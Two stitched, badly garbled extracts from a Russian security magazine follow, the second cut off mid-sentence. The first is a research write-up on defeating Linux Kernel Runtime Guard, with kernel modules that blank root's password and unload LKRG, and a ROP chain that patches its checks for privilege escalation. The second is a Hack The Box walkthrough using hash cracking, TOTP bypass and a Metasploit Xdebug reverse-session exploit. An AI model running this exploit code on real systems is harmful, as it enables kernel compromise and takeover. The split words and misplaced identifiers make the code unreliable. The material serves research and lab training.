ãîâîðè ëè), îäíà êî ýòè ìåòîäû îáõî äà íåï ðîñòûå, íåäåøå âûå

è íåíàäåæ íûå.

, извес тный эксперт по рут китам, уже про водил иссле дова- 
ния в этой области. Он соб рал резуль таты сво их экспе римен тов в 

. В ответ Адам про ана лизи ровал работу Ильи и ,
что бы устра нить эти методы обхо да защиты.

Илья Мат вей чиков
от дель ном

репози тории улуч шил LKRG

Я решил дорабо тать мой улуч шенный про тотип экс пло ита для 
 и при думать новый спо соб обхо да LKRG. Ста ло еще инте рес нее. Моя

пер вая идея была такая. LKRG отсле жива ет несан кци они рован ное повыше- 
ние при виле гий, но при этом не сле дит за содер жимым фай ла .
Зна чит, я могу поп робовать незамет но сбро сить пароль поль зовате ля root
через изме нение ! Выпол нение коман ды  пос ле это го будет

выг лядеть для LKRG абсо лют но легаль но.

CVE-2021-
26708

/etc/passwd

/etc/passwd su

Я сде лал быс трый про тотип для этой идеи. Удоб но было офор мить его
в виде неболь шого модуля ядра:

#include <linux/module.h>
#include <linux/kallsyms.h>

   static int __init pwdhack_init(void)
{
       struct file *f = NULL;
      char *str = "root::0:0:root:/root:/bin/bash\n";
    ssize_t wret;
      loff_t pos = 0;

   pr_notice("pwdhack: init\n");

       f = filp_open("/etc/passwd", O_WRONLY, 0);
     if (IS_ERR(f)) {
       pr_err("pwdhack: filp_open() failed\n");

        return -ENOENT;
   }

        wret = kernel_write(f, str, strlen(str), &pos);
    printk("pwdhack: kernel_write() returned %ld\n", wret);

   pr_notice("pwdhack: done\n");

    return 0;
}

   static void __exit pwdhack_exit(void)
{
   pr_notice("pwdhack: exit\n");
}

module_init(pwdhack_init)
module_exit(pwdhack_exit)

MODULE_LICENSE("GPL v2");

Этот ядер ный код переза писы вает начало фай ла  стро кой

 и тем самым уста нав лива ет пус той
пароль для поль зовате ля . Пос ле это го неп ривиле гиро ван ный поль- 

зователь может выпол нить коман ду  и бес пре пятс твен но получить при виле- 

гии супер поль зовате ля.

/etc/passwd
root::0:0:root:/root:/bin/bash\n

root
su

Да лее я реали зовал в сво ей ROP-цепоч ке такую логику с вызовом фун- 
кций  и , но экс пло ит не смог открыть файл 

 Ока зыва ется, ядро про веря ет при виле гии про цес са и пра вила
полити ки SELinux, даже ког да файл откры вает ся из прос транс тва ядра.
Переза пись при виле гий   тоже не сра бота ла: LKRG сра зу

же обна ружил это и убил про цесс экс пло ита. Таким обра зом, эту идею приш- 
лось отбро сить.

filp_open() kernel_write()
./etc/passwd

ïå ðåä filp_open()

ÂÏÅÐÅÄ, Â ÀÒÀÊÓ ÍÀ LKRG!

Раз мышляя о LKRG с позиции ата кующе го, я осоз нал, что не нуж но от него
пря тать ся. Нап ротив, мне приш ла идея как-то унич тожить LKRG пря мо
из ROP-цепоч ки.

Ана толий Вол ков. Снеж ки. 1957

Са мый пря мой путь к этой цели — прос то выг рузить LKRG из ядра. Я написал
неболь шой модуль ядра, что бы про верить эту гипоте зу перед тем,
как перера баты вать ROP-цепоч ку в экс пло ите:

#include <linux/module.h>
#include <linux/kallsyms.h>

   static int __init destroy_lkrg_init(void)
{
       struct module *lkrg_mod = find_module("p_lkrg");

     if (!lkrg_mod) {
       pr_notice("destroy_lkrg: p_lkrg module is NOT found\n");

        return -ENOENT;
   }

     if (!lkrg_mod->exit) {
       pr_notice("destroy_lkrg: p_lkrg module has no exit method\n")
;

        return -ENOENT;
   }

   pr_notice("destroy_lkrg: p_lkrg module is found, remove it 
brutally!\n");
   lkrg_mod->exit();

    return 0;
}

   static void __exit destroy_lkrg_exit(void)
{
   pr_notice("destroy_lkrg: exit\n");
}

module_init(destroy_lkrg_init)
module_exit(destroy_lkrg_exit)

MODULE_LICENSE("GPL v2");

Эк спе римент показал, что это рабочая идея, модуль LKRG был выг ружен. Тог- 
да я реали зовал в моей ROP-цепоч ке эту логику с вызовом фун кций

 и  из LKRG, но она не сра бота ла. Почему? В фун кции

 в про цес се сво ей выг рузки LKRG вызыва ет ядер ную

фун кцию , в которой у него пос тавле на допол нитель ная про вер ка
 (LKRG встав ляет такие про вер ки во мно гие важ ные точ ки ядра Linux).

Эта про вер ка обна ружи вает мою ROP-цепоч ку и уби вает про цесс экс пло ита
пря мо в про цес се выг рузки модуля LKRG. К тому же сис тема при этом
зависа ет. Жаль, хорошая была идея.

find_module() exit()
p_lkrg_deregister()

schedule()
pCFI

Тог да я стал думать, как еще мож но вывес ти LKRG из строя, и обра тил
вни мание на  и . Это как раз тот механизм, с помощью
которо го LKRG рас став ляет свои про вер ки по все му ядру Linux. Пер вым
делом я поп робовал прос то вык лючить  через штат ную нас трой ку

в :

kprobes kretprobes

kprobes
debugfs

 

 
[root@localhost ~]# echo 0 > /sys/kernel/debug/kprobes/enabled

На сис теме без LKRG это сра бота ло кор рек тно, но, ког да я поп робовал сде- 
лать то же самое с заг ружен ным LKRG, сис тема пол ностью завис ла. Мне
кажет ся, в этом слу чае где-то в ядре из-за LKRG про исхо дит вза имная бло- 
киров ка (deadlock) или бес конеч ный цикл. Как бы то ни было, я не стал тра- 
тить вре мя на отладку этой ошиб ки.

Кста ти, отладка ядра с LKRG — то еще удо воль ствие. Нап ример, я дол го
не мог понять, почему ядро Linux с LKRG пада ет (crash) каж дый раз, ког да я
пыта юсь порабо тать в отладчи ке. Дело в том, что при задании точ ки оста нова

 меня ет инс трук цию в коде ядра, а LKRG в парал лель ном потоке через

некото рое вре мя обна ружи вает это как «ошиб ку целос тнос ти» и уби вает всю
машину, пока я таращусь в отладчик, пыта ясь понять, что к чему! :)

gdb

ÓÑÏÅØÍÀß ÀÒÀÊÀ ÍÀ LKRG

На конец мне уда лось при думать рабочую ата ку про тив LKRG. Я стал раз- 
бирать ся в его коде и нашел две фун кции, которые отве чают за обна руже ние
атак. Это , которая выпол няет про вер ку целос тнос ти

кода ядра, и , которая све ряет при виле гии про цес сов сис- 
темы с внут ренней базой LKRG и обна ружи вает несан кци они рован ное
повыше ние при виле гий.

p_check_integrity()
p_cmp_creds()

Мне приш ла идея ата ковать в лоб и перепи сать код этих двух фун кций пря- 
мо из ROP-цепоч ки в экс пло ите. Я сде лал это с помощью бай тов 

, которые пред став ляют собой инс трук ции ,

то есть . Пос ле это го я бес пре пятс твен но под нял при виле гии про- 
цес са экс пло ита. Отлично! Раз берем получив шуюся финаль ную ROP-цепоч- 
ку:

0x48 0x31 
0xc0 0xc3 xor rax, rax ; ret

return 0

        
  

unsigned long *rop_gadget = (unsigned long *)(xattr_addr +
MY_UINFO_OFFSET + 8);

   int i = 0;

#define SAVED_RSP_OFFSET    3400

#define ROP_MOV_RAX_R9_RET      (0xFFFFFFFF8106BDA4lu + kaslr_offset)
#define ROP_POP_RDX_RET         (0xFFFFFFFF8105ED4Dlu + kaslr_offset)
#define ROP_AND_RAX_RDX_RET     (0xFFFFFFFF8101AD34lu + kaslr_offset)
#define ROP_ADD_RAX_RCX_RET     (0xFFFFFFFF8102BA35lu + kaslr_offset)
#define ROP_MOV_RDX_RAX_RET     (0xFFFFFFFF81999A1Dlu + kaslr_offset)
#define ROP_POP_RAX_RET         (0xFFFFFFFF81015BF4lu + kaslr_offset)
#define ROP_MOV_QWORD_PTR_RAX_RDX_RET   (0xFFFFFFFF81B6CB17lu + 
kaslr_offset)

/* 1. Save RSP */
     rop_gadget[i++] = ROP_MOV_RAX_R9_RET; /* mov rax, r9 ; ret */
    rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */
  rop_gadget[i++] = 0xffffffff00000000lu;
    rop_gadget[i++] = ROP_AND_RAX_RDX_RET; /* and rax, rdx ; ret */
    rop_gadget[i++] = ROP_ADD_RAX_RCX_RET; /* add rax, rcx ; ret */
    rop_gadget[i++] = ROP_MOV_RDX_RAX_RET; /* mov rdx, rax ; shr rax, 

0x20 ; xor eax, edx ; ret */
    rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
    rop_gadget[i++] = uaf_write_value + SAVED_RSP_OFFSET;
   rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_RDX_RET; /* mov qword ptr [

rax], rdx ; ret */

Эта часть ROP-цепоч ки вос ста нав лива ет началь ное зна чение  из битов

в  и  (методи ку я опи сывал выше). Это зна чение сте ково го ука зате ля
сох раня ется в ядер ном объ екте  (он под кон тро лем ата кующе го)

по отсту пу . Такая хит рость поз воля ет не занимать

под хра нение зна чения отдель ный регистр, он еще при годит ся.

RSP
ECX R9

sk_buff
SAVED_RSP_OFFSET

#define KALLSYMS_LOOKUP_NAME    (0xffffffff81183dc0lu + kaslr_offset)
#define FUNCNAME_OFFSET_1   3550

#define ROP_POP_RDI_RET             (0xFFFFFFFF81004652lu + 
kaslr_offset)
#define ROP_JMP_RAX             (0xFFFFFFFF81000087lu + kaslr_offset)

/* 2. Destroy lkrg : part 1 */
    rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
  rop_gadget[i++] = KALLSYMS_LOOKUP_NAME;

         /* unsigned long kallsyms_lookup_name(const char *name) */
    rop_gadget[i++] = ROP_POP_RDI_RET; /* pop rdi ; ret */
    rop_gadget[i++] = uaf_write_value + FUNCNAME_OFFSET_1;

     strncpy((char *)xattr_addr + FUNCNAME_OFFSET_1, "p_cmp_creds", 12);
  rop_gadget[i++] = ROP_JMP_RAX;      /* jmp rax */

Эта часть ROP-цепоч ки вызыва ет фун кцию 

. В ядер ном объ екте  по отсту пу 

под готав лива ется стро ка . Ее адрес заг ружа ется в регистр
, через который дол жен переда вать ся пер вый аргу мент фун кции в соот- 

ветс твии с System V AMD64 ABI.

kallsyms_lookup_name(
"p_cmp_creds") sk_buff FUNCNAME_OFFSET_1

"p_cmp_creds"
RDI

Важ но заметить, что опция  по умол чанию име ет зна чение , что
поз воля ет ата кующе му лег ко получить адре са фун кций LKRG с помощью
вызова . Так же есть и дру гие спо собы сде лать это.

lkrg.hide 0

kallsyms_lookup_name()

#define XOR_RAX_RAX_RET             (0xFFFFFFFF810859C0lu + 
kaslr_offset)
#define ROP_TEST_RAX_RAX_CMOVE_RAX_RDX_RET  (0xFFFFFFFF81196AA2lu + 
kaslr_offset)

/* If lkrg function is not found, let's patch "xor rax, rax ; ret" */
    rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */
  rop_gadget[i++] = XOR_RAX_RAX_RET;
   rop_gadget[i++] = ROP_TEST_RAX_RAX_CMOVE_RAX_RDX_RET; /* test rax, 

rax ; cmove rax, rdx ; ret*/

В этой час ти ROP-цепоч ки идет обра бот ка резуль тата вызова
. Эта фун кция через регистр  воз вра щает адрес

 или , если модуль LKRG не заг ружен. Экс пло ит дол жен
кор рек тно обра баты вать оба этих слу чая, и я при думал для это го такой трюк:

kallsyms_lookup_name() RAX
p_cmp_creds() NULL

1. Я нашел в ядер ной памяти «живой» машины бай ты инс трук ций 
, их адрес здесь опре делен как .

xor rax, 
rax ; ret XOR_RAX_RAX_RET

2. Этот адрес заг ружа ется в регистр .RDX
3. Ес ли  воз вра щает , то

этот адрес заг ружа ется в регистр  вмес то . Для это го исполь зует- 
ся инс трук ция conditional move в гад жете 

.

kallsyms_lookup_name("p_cmp_creds") NULL
RAX NULL

test rax, rax ; cmove 
rax, rdx ; ret

От лично! Если модуль LKRG заг ружен в ядро, экс пло ит перепи шет код фун- 
кции  инс трук циями . В про тив ном слу- 

чае, если LKRG отсутс тву ет, экс пло ит перепи шет инс трук ции 
 теми же самыми бай тами и ничего не испортит в ядер- 

ной памяти. Эта переза пись (patching) выпол няет ся в сле дующей час ти ROP-
цепоч ки:

p_cmp_creds() xor rax, rax ; ret

xor rax, rax ; ret

#define TEXT_POKE       (0xffffffff81031300lu + kaslr_offset)
#define CODE_PATCH_OFFSET   3450

#define ROP_MOV_RDI_RAX_POP_RBX_RET     (0xFFFFFFFF81020ABDlu + 
kaslr_offset)
#define ROP_POP_RSI_RET             (0xFFFFFFFF810006A4lu + 
kaslr_offset)

  rop_gadget[i++] = ROP_MOV_RDI_RAX_POP_RBX_RET;
         /* mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; 
ret */

  rop_gadget[i++] = 0x1337;      /* dummy value for RBX */
   rop_gadget[i++] = ROP_POP_RSI_RET; /* pop rsi ; ret */
    rop_gadget[i++] = uaf_write_value + CODE_PATCH_OFFSET;

     strncpy((char *)xattr_addr + CODE_PATCH_OFFSET, "\x48\x31\xc0\xc3", 5
);

   rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */
  rop_gadget[i++] = 4;
   rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
  rop_gadget[i++] = TEXT_POKE;

         /* void *text_poke(void *addr, const void *opcode, size_t 
len) */

       rop_gadget[i++] = ROP_JMP_RAX; /* jmp rax */

Здесь экс пло ит под готав лива ет в регис трах аргу мен ты для вызова фун кции
, которая и выпол нит переза пись ядер ного кода:text_poke()

1. Ад рес цели для переза писи копиру ется из  в . Это будет пер вый
аргу мент фун кции. К сожале нию, мне не уда лось най ти мень ший гад жет,
который сде лает это копиро вание, поэто му здесь на сте ке под готов лены
допол нитель ные бай ты для лиш ней инс трук ции  из пер вого гад- 
жета.

RAX RDI

pop rbx

2. В объ екте  по отсту пу  под готав лива ется
полез ная наг рузка  для переза писи кода. Ее
адрес сох раня ется в регистр  в качес тве вто рого аргу мен та фун кции.

sk_buff CODE_PATCH_OFFSET
0x48 0x31 0xc0 0xc3

RSI
3. Тре тий аргу мент фун кции  — это дли на дан ных для переза- 

писи. Он переда ется через регистр  и име ет зна чение .
text_poke()

RDX 4

Ядер ная фун кция  — это штат ный механизм, с помощью которо- 
го ядро может изме нять собс твен ный код в динами ке, во вре мя работы. Эта
фун кция на крат кое вре мя дела ет отоб ражение нуж ного кода дос тупным
для записи и выпол няет . Этой воз можностью как раз поль зует ся

 и дру гие механиз мы ядра Linux.

text_poke()

memcpy()
kprobes

Опи сан ная про цеду ра с ,  и 

затем выпол няет ся для переза писи фун кции 

из модуля LKRG. Тем самым экс пло ит устра няет защиту LKRG, делая его пол- 
ностью бес помощ ным. Теперь мож но бес пре пятс твен но повысить при виле- 
гии про цес са (это уже было опи сано выше):

kallsyms_lookup_name() cmove text_poke()
p_check_integrity()

#define ROP_MOV_QWORD_PTR_RAX_0_RET (0xFFFFFFFF8112E6D7lu + 
kaslr_offset)

/* 3. Perform privilege escalation */
  rop_gadget[i++] = ROP_POP_RAX_RET;      /* pop rax ; ret */
    rop_gadget[i++] = owner_cred + CRED_UID_GID_OFFSET;
    rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [

rax], 0 ; ret */
  rop_gadget[i++] = ROP_POP_RAX_RET;      /* pop rax ; ret */
    rop_gadget[i++] = owner_cred + CRED_EUID_EGID_OFFSET;
    rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [

rax], 0 ; ret */

Фи наль ная часть ROP-цепоч ки вос ста нав лива ет началь ное зна чение регис- 
тра  из дан ных объ екта  по отсту пу :RSP sk_buff SAVED_RSP_OFFSET

/* 4. Restore RSP and continue */
  rop_gadget[i++] = ROP_POP_RAX_RET;       /* pop rax ; ret */
    rop_gadget[i++] = uaf_write_value + SAVED_RSP_OFFSET;
   rop_gadget[i++] = ROP_MOV_RAX_QWORD_PTR_RAX_RET; /* mov rax, qword 

ptr [rax] ; ret */
    rop_gadget[i++] = ROP_PUSH_RAX_POP_RBX_RET; /* push rax ; pop rbx ; 

ret */
  rop_gadget[i++] = ROP_PUSH_RBX_POP_RSP_RET;

         /* push rbx ; add eax, 0x415d0060 ; pop rsp ; ret */

Пос ле это го ядро возоб новля ет обра бот ку сис темно го вызова ,
но про цесс экс пло ита при этом обла дает при виле гиями поль зовате ля .

Всё, пожалуй, это была самая слож ная часть статьи.

recv()
root

Ни колай Ломакин. Пер вая деталь. 1953

ÎÒÂÅÒÑÒÂÅÍÍÎÅ ÐÀÇÃËÀØÅÍÈÅ ÈÍÔÎÐÌÀÖÈÈ

О резуль татах моих экспе римен тов с LKRG я сооб щил Ада му Заб роцки
и Алек сан дру Пес ляку ( ) 10 июня 2021 года. Мы деталь но обсу- 
дили мои спо собы обхо да защиты LKRG и обме нялись мне ниями о про екте
в целом.

Solar Designer

С поз воления Ада ма и Алек сан дра 3 июля я 
 в откры том спис ке рас сылки . На момент пуб- 

ликации этой статьи мой метод ата ки все еще работа ет. Для защиты тре бует- 
ся перера бот ка архи тек туры LKRG, она пока в пла нах.

опуб ликовал резуль таты моего
иссле дова ния lkrg-users

На мой взгляд, LKRG — замеча тель ный про ект. Ког да я начал изу чать его,
сра зу же отме тил, что Адам и дру гие раз работ чики при ложи ли боль шие уси- 
лия, что бы сде лать качес твен ный и кра сивый про дукт. Вмес те с тем я убеж- 
ден, что обна ружить пос ледс твия экс плу ата ции ядер ных уяз вимос тей
на уров не самого ядра невоз можно. Аль берт Эйнштейн : «Невоз- 
можно решить проб лему на том же уров не, на котором она воз никла».

го ворил

Дру гими сло вами, защита LKRG дол жна работать на дру гом уров не или в
дру гом кон тек сте, что бы обна ружи вать деятель ность ата кующе го в ядре.
В час тнос ти, LKRG мог бы пред став лять боль шую прег раду для ата кующе го,
если бы модуль был перене сен на уро вень гипер визора или же в Arm Trusted
Execution Environment. Такое пор тирова ние — слож ная инже нер ная задача,
и для ее решения раз работ чикам LKRG тре бует ся под дер жка сооб щес тва и,
воз можно, заин тересо ван ных в про екте ком паний.

ÇÀÊËÞ×ÅÍÈÅ

В этой статье я опи сал, как я дорабо тал свой про тотип экс пло ита для уяз- 
вимос ти  в ядре Linux. Это было инте рес ное иссле дова ние
с боль шим количес твом прак тики по воз врат но-ори енти рован ному прог- 
рамми рова нию и ассем бле ру. Я искал ROP/JOP-гад жеты в памяти работа- 
ющей сис темы и смог выпол нить перек лючение ядер ного сте ка (stack
pivoting) в огра ничен ных усло виях. Я так же про ана лизи ровал защиту 

 с позиции ата кующе го, раз работал новый спо соб ата ки
на LKRG и пре дос тавил резуль таты сво его иссле дова ния коман де раз работ- 
чиков это го про екта.

CVE-2021-26708

Linux
Kernel Runtime Guard

Я уве рен, что эта статья будет полез на для сооб щес тва раз работ чиков
Linux, пос коль ку она отра жает мно гие прак тичес кие аспекты безопас ности
ядра. И еще я хочу ска зать спа сибо ком пании Positive Technologies за воз- 
можность про вес ти это иссле дова ние.

https://github.com/openwall/lkrg
https://www.openwall.com/presentations/OSTconf2020-LKRG-In-A-Nutshell/
https://lkrg.org/
https://twitter.com/Adam_pi3
https://github.com/milabs
https://github.com/milabs/lkrg-bypass
https://www.openwall.com/lists/lkrg-users/2019/02/21/2
https://nvd.nist.gov/vuln/detail/CVE-2021-26708
https://elixir.bootlin.com/linux/v5.10/source/arch/x86/kernel/alternative.c#L959
https://twitter.com/solardiz
https://www.openwall.com/lists/lkrg-users/2021/07/03/1
https://ru.citaty.net/tsitaty/482501-albert-einshtein-nevozmozhno-reshit-problemu-na-tom-zhe-urovne-na-ko/
https://nvd.nist.gov/vuln/detail/CVE-2021-26708
https://github.com/openwall/lkrg
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ЗАХВАТЫВАЕМ СЕРВЕР
ЧЕРЕЗ VPN И ДЫРУ В XDEBUG

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

Для начала я покажу, как фик сить «битый»
архив GZIP; из него мы получим важ ную
информа цию, затем под берем одно разо- 
вый пароль и получим дос туп к хос ту через
VPN. Для повыше ния при виле гий про экс- 
плу ати руем уяз вимость в Xdebug и най дем
ошиб ки в слож ной поль зователь ской прог- 
рамме. Все это — что бы прой ти слож ную
машину Static с пло щад ки .Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ. ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÎÐÒÎÂ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.10.246    static.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное, с исполь зовани ем име ющих ся
скрип тов (опция ).-A

Ре зуль тат работы скрип та

Мы наш ли три откры тых пор та: 22 (служ ба OpenSSH 7.9p1), 2222 (служ ба
OpenSSH 7.6p1) и 8080 (веб-сер вер Apache 2.4.38). Нач нем с веба.

Справка: брутфорс учеток
Пос коль ку вна чале у нас нет учет ных дан ных, нет и смыс ла изу чать служ бы,
которые всег да тре буют авто риза ции (нап ример, SSH). Единс твен ное, что мы
можем делать здесь, — это переби рать пароли брут форсом, но машины
с HTB поч ти всег да мож но прой ти по-дру гому. В жиз ни таких вари антов
может не быть, к тому же есть шан сы подоб рать пароль или получить его
при помощи соци аль ной инже нерии.

В резуль татах ска на отме чено, что в кор невом катало ге сер вера есть файл
. Этот файл исполь зует ся для того, что бы поп росить кра уле ры

(нап ример, Google, Яндекс и про чие) не тро гать какие-то опре делен ные
катало ги.

robots.txt

К при меру, ник то не хочет, что бы в поис ковой выдаче появ лялись стра- 
ницы авто риза ции адми нис тра торов сай та, фай лы или пер сональ ная
информа ция со стра ниц поль зовате лей и про чие вещи в таком духе. Но у
любой медали две сто роны: зло умыш ленни ки пер вым делом прос матри вают
этот файл, что бы узнать о фай лах и катало гах, которые хочет спря тать адми- 
нис тра тор сай та. В нашем слу чае есть два катало га:  и .vpn .ftp_uploads

На пер вой стра нице нас встре чает самопис ный сайт, а точ нее, фор ма
авто риза ции. Во вто ром катало ге нет фай ла  и зап рет на прос- 

мотр на веб-сер вере тоже не задан, поэто му мы можем видеть все его
содер жимое.

index.html

Фор ма авто риза ции

Со дер жимое катало га .ftp_uploads

Ска чива ем дамп базы дан ных и прос матри ваем сооб щение.

« »
Binary files are being corrupted during transfer!!! Check if are recoverable.

В сооб щении ска зано, что файл был пов режден и его тре бует ся вос ста- 
новить. Разар хивиро вать GZIP у меня тоже не выш ло, поэто му я отпра вил ся
в Google за поис ком ути литы, спо соб ной решить эту проб лему.

ÒÎ×ÊÀ ÂÕÎÄÀ

GZIP fix

По искав на прос торах GitHub, я нашел прог рам мку . Но перед исполь- 

зовани ем ее нуж но соб рать из исходни ков.

fixgz

git clone https://github.com/yonjar/fixgz 
cd fixgz 
g++ fixgz.cpp 
./a.out ../db.sql.gz fixed_db.sql.gz 
gunzip fixed_db.sql.gz 

Ис прав ление архи ва GZIP

Пос ле исправ ления архи ва мы его рас паковы ваем и чита ем дамп базы дан- 
ных. В дам пе мы най дем учет ные дан ные для авто риза ции: логин, хеш пароля
и зачем-то TOTP — одно разо вый пароль на осно ве вре мени.

Со дер жимое дам па базы дан ных

У нас есть хеш, зна чит, нуж но попытать ся его переб рать. Но перед этим необ- 
ходимо узнать алго ритм. Все воз можные алго рит мы хеширо вания для задан- 
ной пос ледова тель нос ти может подыс кать ути лита .HashId

Оп ределе ние типа хеша

Из всех пред став ленных алго рит мов наибо лее популяр ный, а зна чит,
и наибо лее веро ятный — SHA-1. Для него есть мно го онлай новых дек рипто- 
ров с огромны ми базами. Вос поль зуем ся одним из них и получим очень
прос той пароль.

На ходим пароль по хешу

С учет ными дан ными :  авто ризу емся на сай те, который мы встре- 

тили пер вым, и получим фор му вво да одно разо вого пароля. Таким обра зом,
на сай те исполь зует ся двух фактор ная аутен тифика ция.

admin admin

Фор ма вво да OTP

TOTP

TOTP (Time-based One-Time Password Algorithm) — алго ритм соз дания одно- 
разо вых паролей для защищен ной аутен тифика ции. Это алго ритм односто- 
рон ней аутен тифика ции, то есть сер вер удос товеря ется в под линнос ти кли- 
ента. Глав ное отли чие TOTP от дру гих подоб ных алго рит мов — генера ция
пароля на осно ве вре мени. Обыч но это не точ ное вре мя, а какой-то его
интервал (по умол чанию 30 секунд).

Мож но най ти мно го генера торов ТОТP, как онлай новых, так и реали зован- 
ных в виде биб лиотек для раз ных язы ков прог рамми рова ния. Что дела ет
ТОТP безопас ным — это TOTP-сек рет, который мы, ско рее все го, и наш ли
в базе.

Ос талось нас тро ить вре мя, как на уда лен ном сер вере. Узнать его мы
можем из отве та HTTP в заголов ке . Пос ле это го выс тавля ем его у себя
коман дой .

Date
sudo date -s "[содержимое заголовка Date]"

HTTP-ответ

За тем я исполь зовал рас ширение  для Firefox. Получен ный OTP

быс тро встав ляем в фор му, и нам откры вают ся допол нитель ные воз можнос ти
на сай те.

auth-helper

Глав ная стра ница сай та

Ви дим спи сок сер веров и соот ветс тву ющие IP-адре са. Вот толь ко сети эти
нам недос тупны. Так же име ется фор ма вво да для какого-то генера тора. Я
ввел прос тое сло во и получил кон фиг VPN.

Пред ложение о заг рузке кон фига VPN

От кро ем файл и пос мотрим парамет ры под клю чения. Так, в парамет ре
 ука зан сер вер .remote vpn.static.htb

Со дер жимое фай ла кон фигура ций

Пер вым делом нуж но добавить соот ветс тву ющую запись в :/etc/hosts

10.10.10.246 static.htb vpn.static.htb 

Те перь поп робу ем под клю чить ся по VPN.

Ло ги под клю чения VPN

Из логов мы видим, что авто мати чес ки добавил ся мар шрут в сети 
 и . При этом дру гие хос ты рас положе ны в сети 

, поэто му мы не смо жем к ним обра тить ся. Тог да я решил добавить

мар шрут в эту сеть самос тоятель но.

172.17.0.
0/24 172.30.0.0/16 172.20.
0.0/16

sudo ip route add 172.20.0.0/24 dev tun9 

А затем обра тим ся к хос ту WEB ( ) через бра узер. Вуаля! Вновь

каталог с дос тупным содер жимым.

172.20.0.10

Кор невой каталог сай та

ÒÎ×ÊÀ ÎÏÎÐÛ

Стра ница  на самом деле выпол няет PHPINFO.info.php

Стра ница info.php

Здесь очень мно го информа ции, которую нуж но тща тель но про ана лизи- 
ровать. Отсю да мож но узнать вер сии всех зат ронутых прог рам мных про дук- 
тов, таких как OpenSSL, PDO_MYSQL, Phar. Высока веро ятность, что один
из них будет не обновлен и поэто му уяз вим. Так натыка емся на Xdebug —
средс тво про фили рова ния и отладки скрип тов на PHP. Xdebug пос тавля ется
как рас ширение для PHP, поэто му может дать нам выпол нение про изволь ного
кода. В базе Metasploit есть такой экс пло ит.

По иск экс пло итов в базе Metasploit

Па рамет ры экс пло ита

По умол чанию Xdebug будет прос лушивать порт 9000 на машине раз работ- 
чика. Что бы акти виро вать Xdebug, в GET- или POST-парамет ре или в cookie
дол жен при сутс тво вать параметр .XDEBUG_SESSION=name

Обыч ная кон фигура ция Xdebug может выг лядеть так: 

. В этом слу чае IP-адрес

раз работ чика зада ется в кон фигура ции и поз воля ет толь ко ука зан ному IP-
адре су исполь зовать Xdebug. Одна ко сущес тву ет опция кон фигура ции

, и уста нов ка для нее зна чения true отклю чает

нас тро енный IP-адрес  и поз воля ет под клю чить ся
обратно к любому хос ту, который акти виру ет Xdebug. Таким обра зом, любой
под клю чив ший ся может выпол нить про изволь ный код.

ini xdebug.
remote_enable= true xdebug.remote_host= [IP]

xdebug.remote_connect_back
xdebug.remote_host

За дадим необ ходимые парамет ры: URL-адрес, адрес тес тиру емо го хос та,
а так же локаль ные хост и порт для обратно го под клю чения наг рузки.

use exploit/unix/http/xdebug_unauth_exec 
set PATH /vpn/login.php 
set RHOSTS 172.20.0.10 
set RPORT 80 
set LHOST tun9 
set LPORT 443 
run 

По луче ние сес сии Meterpreter

И мы получа ем сес сию Meterpreter. Прос матри вая домаш ний каталог,
находим флаг поль зовате ля и понима ем, что www-data — сис темный поль- 
зователь с коман дной обо лоч кой.

Со дер жимое домаш него катало га

Флаг поль зовате ля

Дан ное соеди нение нес табиль но, и при ходит ся час то под клю чать ся заново.
Так как это сис темный поль зователь, мы можем записать ключ SSH. Но при
прос мотре домаш ней дирек тории поль зовате ля находим уже сущес тву ющий
при ват ный ключ .id_rsa

Со дер жимое домаш ней дирек тории поль зовате ля www-data и при ват ный
ключ

Сох раня ем при ват ный ключ на локаль ный хост, наз нача ем ему необ ходимые
пра ва коман дой  и под клю чаем ся по SSH. Но на пор- 
те 22 у нас пот ребу ют пароль! Тог да про буем под клю чить ся ко вто рому SSH-
пор ту 2222 — и мы в сис теме.

chmod 0600 id_rsa

Ко ман дная обо лоч ка SSH

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/yonjar/fixgz
https://addons.mozilla.org/en-US/firefox/addon/auth-helper/
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Те перь, ког да мы получи ли ста биль ный дос туп к хос ту, нам необ ходимо соб- 
рать информа цию, которая может помочь с повыше нием при виле гий.
Источни ков информа ции очень мно го, и, что бы не дер жать их все в голове,
были раз работа ны , как для Windows, так и для Unix. Они про- 
верят самые уяз вимые мес та сис темы и под ска жут, на что обра тить вни мание
(выделят крас ным цве том). Заг рузим дан ный скрипт на хост с помощью SCP
и выпол ним:

PEASS-скрип ты

scp  -P2222 -i id_rsa ./linpeas.sh www-data@static.htb:/tmp/linpeas.sh 
chmod +x /tmp/linpeas.sh 
/tmp/linpeas.sh 

В выводе най дем очень мало полез ной информа ции, в том чис ле IP-адре са
и какой-то пароль.

Най ден ный в сис теме пароль

Об наружен ный допол нитель ный IP-адрес 192.168.254.3 обра тил на себя вни- 
